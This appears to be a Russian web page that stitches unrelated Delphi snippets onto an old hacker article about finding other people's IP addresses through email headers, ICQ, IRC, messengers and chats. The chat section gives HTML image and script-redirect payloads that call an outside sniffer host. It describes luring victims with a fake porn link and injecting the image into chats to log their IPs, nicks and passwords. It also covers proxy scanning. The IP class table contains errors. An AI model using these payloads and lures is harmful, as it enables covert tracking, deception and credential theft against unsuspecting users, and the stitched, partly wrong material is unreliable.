Как сделать калькулятор в Delphi?

Delphi - объектно-ориентированный язык программирования, разработанный компанией Borland в 1995 году. Он основан на языке программирования Pascal, но имеет более расширенные возможности и добавлены новые функции.

Как Delphi реализует многоплатформенную разработку?

Delphi является интегрированной средой разработки (IDE), которая позволяет разрабатывать программное обеспечение для различных платформ, включая Windows, macOS, Android и iOS. Delphi достигает многоплатформенности с помощью...

IP - Internet Protocol

Статьи » Интернет » IP - Internet Protocol

IP адрес В сети интернет у каждого компьютера есть свой уникальный IP-адрес. Он состоит из 4 цифр, каждая цифра может быть от 0 до 255. Весь адрес состоит из идентификатора сети и идентификатора хоста.

Например, 121.13.54.211

. 121

- идентификатор сети, а 13.54.211

- идентификатор хоста, т. е. по этому адресу видно что компьютер находится в подсети 121 (смотрим таблицу 1-126 это адрес класса, а и читаем о нём), а собственный адрес компа 13.54.211

. Существуют 5 классов IP-адресов, отличающиеся количеством бит в сетевом номере и хост-номере. Класс адреса определяется значением его первого октета.

Класс Диапазон значений первого октета Возможное количество сетей Возможное количество узлов А

1 - 126 126 16777214 B

128 - 191 16382 65534 C

192 - 223 2097150 254 D

224 - 239 --- 268435456 E

240 - 249 --- 134217728

Адреса класса A

предназначены для использования в больших сетях общего пользования. Они допускают большое количество номеров узлов.

Адреса класса B

используются в сетях среднего размера, например, сетях университетов и крупных компаний.

Адреса класса C

используются в сетях с небольшим числом компьютеров.

Адреса класса D

используются при обращениях к группам машин, а адреса класса E

зарезервированы на будущее.

Класс IP - адрес Идентификатор сети Идентификатор узла A a.b.c.d a b.c.d B a.b.c.d a.b c.d C a.b.c.d a.b.c d

В локальной сети все компьютеры работают через прокси-сервер (компьютер через который подключены все остальные) поэтому для "внешнего интернета"  у всех компьютеров как бы один IP-адрес но на самом деле это не так.

Узнаем IP из письма

Для того, чтобы узнать IP, надо получить письмо любым почтовым клиентом: MS Outlook, The Bat!... Как настроить MS Outlook читай ниже. Когда получили письмо надо просто посмотреть код письма. Там в заголовке письма указан IP отправителя. В Outlook открываем письмо и жмем Файл, затем Свойства и выбираем закладку Подробности. В The Bat! делается так: Открываем письмо, жмём Просмотр и выбираем Служебная информация. Сверху прибавляется заголовок письма.

Пример (заголовок)

From vasyap@mail.ru Sat Mar 27 12:16:35 2000 ................... от кого и дата


Envelope-to: xxx@mail.ru.

Delivery-date: Sat, 27 Mar 2000 12:16:35 +0300 ............................ дата и время


Received: from mail by f8.mail.ru with local (Exim 3.14 #43) id Рк4eК5е-0554нq7-00
for xxxx@mail.ru; Sat, 27 Mar 2000 12:16:35 +0300 .................. это наш адрес


Received: from [208.46.44.12] by koi.mail.port.ru with HTTP; Sat, 27 Mar 2000 09:16:35 +0000 (GMT) From: "Vasya Pupkin" <vasyap@mail.ru>..

To: XXX@mail.ru .............................................. кому

Subject: Hi Beavis ........................................................................... Тема письма


Mime-Version: 1.0
X-Mailer: The Bаt! ................................................................. прога которой посылали


X-Originating-IP: unknown via proxy [xxx.yyy.zzz.xxx] .............. IP отправителя


Reply-To: "Vasya Pupkin" <vasyap@mail.ru> ........................... кому ответить (от кого)


Content-Type: text/plain; charset=koi8-r .................................. кодировка письма


Content-Transfer-Encoding: 8bit Message-Id: <Рк4eК5е-0554нq7-00@f8.mail.ru> Date: Sat, 27 Mar 2000 12:16:35 +0300 Важно

1. Если отпраляли через Internet Explorer, работающий через прокси, то адрес нереальный ( клубы, университеты....)

2. В письме может быть несколько IP, самый нижний и есть IP, отправителя

Скрытие IP

Отпралять письмо используя Internet Explorer, настроенный на работу через анонимный прокси

Настрройка MS Outlook

Отправлять письма можно не только при помощи броузеров (IE , NN), но и любой почтовой программой, просто надо указать ваше имя (например pupkin) и адрес pop сервера (в нашем случае www.mail.ru). Это можно делать  программой Outlook Express, чтобы получить почту достаточно нажать "получить". Настраивается она следующим образом: Запускаете Outlook Express заходите в сервис / учетные записи нажимаете кнопку добавить, выбираете почту вводите ваш электронный адрес  pupkin@mail.ru , нажимаете далее, в поле сервер входящей почты пишите www.mail.ru или другой а во втором поле адрес SMTP сервера (отправка сообщений) далее надо вроде ввести ваше имя и пароль. Теперь просто нажмите получить почту или что-то в этом роде... (Про адреса POP и SMTP серверов почитайте на сайте где у вас почта)

Узнаем IP в ICQ 

Узнать IP адрес можно при помощи сниффера (sniffer). Для этого должна быть установлена ася.

Вот и прога: IPSniffer

- прога для вычесления ip адреса по uinу аськи Пароль: !P$n!ff&r

Если номер аси длинный

, то можно узнать при помощи netstat.exe описание на примере Odigo смотри ниже.

Узнаем IP в IRC

/dns nick

- узнать IP машины пользователя по нику "nick"; /ctcp nick clientinfo

- узнать информацию о IRC-клиенте "ника"; /ctcp nick time

- узнать время которое установлено на его машине;

Узнаем IP в Odigo

Odigo

это прога типа ICQ

, правда более навороченая, и на нормальной машине очень редко слетает, советую попробовать :)

При общении с кем-нибудь, устанавливается соединение c его компом, и если посмотреть при помощи проги netstat (в Windows - зупустить "сеаннс ms-dos" а там напсиать:  netestat), но лучше пользоваться  программами в которых есть эта функция (Essential NetTools

, IP Tools

, Shadow scan), в общем любой прогой которая показывает соединения, то среди всех подключений будет одно - с тем челом, с которым разговариваешь. Кстати так же можно увидеть и трояна...

Пример лога из IP Tools

Type Local IP Port Remote IP Port Status   TCP xxx.64.8.102 1294 xxx.33.42.72 2562 ESTABLISHED Соединение с сервером Odogo TCP xxx.64.8.102 16682 0.0.0.0 0 LISTEN   TCP xxx.64.8.102 27740 0.0.0.0 0 LISTEN   TCP xxx.64.8.102 1416 xxx.131.41.202 29815 ESTABLISHED Соединение с тем с кем я говорю

 

Дальше можно воспользоваться прогой Internet Maniac или IP Tools и узать каким провом пользуется, из какого города...

Важно:

Там можно сделать чтоб все сообщения шли через сервер Odigo, тогда облом.

Есть еще один способ узнать IP адрес в Odigo - это пропатчить его специальным патчем (его можна найти в разделе инструменты ...)

Узнаем IP в LAN (локалке)

IP у себя (Win95/98) можно узнать следующим образом: пуск/выполнить/ ввести winipcfg

Узнать IP адреса в локальной сети можно любым IP сканером, такая фича есть в проге  Shadow scan, IP Tools...Сначала определим свой IP, затем ставим на сканирование диапазон ипов своей локальной сети, например если ip: aaa.sss.ddd.123 то сканировать от aaa.sss.ddd.0 до aaa.sss.ddd.255

Узнаем IP в чате

Узнаем IP при помощи сниффера (sniffer) Этот способ известен давно и все дыры закрыты, но первая реализация этого способа работает в любом чате: IRC, Java, HTML... :)

1. На любом сайте с бесплатным хостингом регестрируем сайт, заливаем файл index.html - содержащий такие строки:

<html><body>
<img src="http://www.soul.rinet.ru/cgi-bin/sniffer.pl?id">
</body></html>

Или такй вариант:

<html><body>
<script>
setTimeout('window.location = "http://www.hackzone.ru/cgi-bin/sniff.cgi?id"', 10)
</script>
</body></html>

Говоришь человеку, что по такому-то адресу лежит порнуха или еще что нить, не важно. Он идет по ссылке и видит, картинку по адресу http://www.hackzone.ru/cgi-bin/sniff.cgi?id . "id"- изменишь на свое... Дальше смотрим отчет http://www.hackzone.ru/files/snifflog.txt и видим следующее:

[Sat 12:12pm] (ip_uley_hahaha) 208.46.44.12 []
[Sat 11:31am] (id) 205.188.193.177 [http://ivanka-nata.chat.ru/ivanka.html]
[Sat 10:12am] () 62.118.140.250 []
[Sat 8:10am] (nik) 192.92.126.139 [http://www.divan.ru/fcgi/divan?dn=Mordor&u=520342387&a=g&pt=t]

2.  Как работать с чатом с диска рассказано в разделе взлом html-чатов. Теперь мы можем в сохраненный *.html файл вставлять свои значения: цвет, размер.... Что бы узнать IP надо вставить картинку в поток сообщенй. Что бы все её увидели. В разных чатах это делается по разному. В некоторых достаточно вписать <img scr="......"> но обычно такие распространённые теги запрещены. В одном чате я вставлял картинки таким образом: <input name=color type=text value="red style="background-image: url('http://..../alldead.jpg')" . Адрес ссылки, которую надо вставить - http://www.hackzone.ru/cgi-bin/sniff.cgi?id  Это ссылка на сниффер, если сработает, то в окне появится маленькая картинка (сейчас по-моему белая). Вместо id пишите  что нибудь свое, что бы не перепутать потом в отчете, где по вашей ссылке, а где нет. Адрес отчета: http://www.hackzone.ru/files/snifflog.txt  там ищите строки с вашим id'ом в них же указаны: IP, ник, пароль. Кстати в стиль можно вставлять и размер текста, например FONT-SIZE: 1000% :)))

Неохота ночами сидеть и эксперементировать???

Если в каком либо чате вставляют теги а тебе лень сидеть часами и пробовать, можно просто подсмотреть как это делют другие:))) Когда кто-то вставляет картинку надо щелкнуть правой кнопкой мыши и выбрать "просмотр в виде HTML" это надо делать в том фрейме, где идут сообщения. Затем найти Ник, того кто вставил эту картинку а после него и код...

Скрываем IP

Посещая различные сайты в интернет, на серверах фиксируется твой IP адрес по которому можно установить откуда ты и каким провайдером пользуешься кроме того тебя могут просто напросто положить нюком. Не исключение и администраторы Чатов которые без проблем видят IP адреса всех кто в Чате. Чтобы этого избежать можно воспользоваться анономайзером или прокси сервером, в Internet Explorer Сервиссовойства обозревателяподключениенастройка сети нужно поставить галочку использовать прокси сервер, ввести адрес и порт на котором работает прокси. Если надо бысто переключать прокси сервера, проверить их на анонимность, скорость и т.д. воспользуйтесь программой A4Proxy 

Прокси:

Все прокси серверы делятся на две большие группы, это transparent (прозрачные)и no transparent (не прозрачные). Если использовать Transparent сервер, то  реальный IP адрес  раскроют! При запросе такой Proxy cервер выдаст всю необходимую информацию .

Проверка прокси - тут Если  увидишь свой IP - то это значит, что твой прокси не имеет защиты. Найти работающий прокси по спискам, опубликованным в Internet, очень трудно т.к. из 100 рабочие всего 10, а анонимные 1-2 ! Искать можно и самому. Так как прокси работают обычно на стандартных портах , то нужно просканировать диапазон IP на наличие открытых портов: 8080, 3218.

Примечание

: Если ты в локальной сети: клуб, университет то прокси уже настроен и изменить не получится

Другое по теме:

Категории

Статьи

Советы

Copyright © 2024 - All Rights Reserved - www.delphirus.com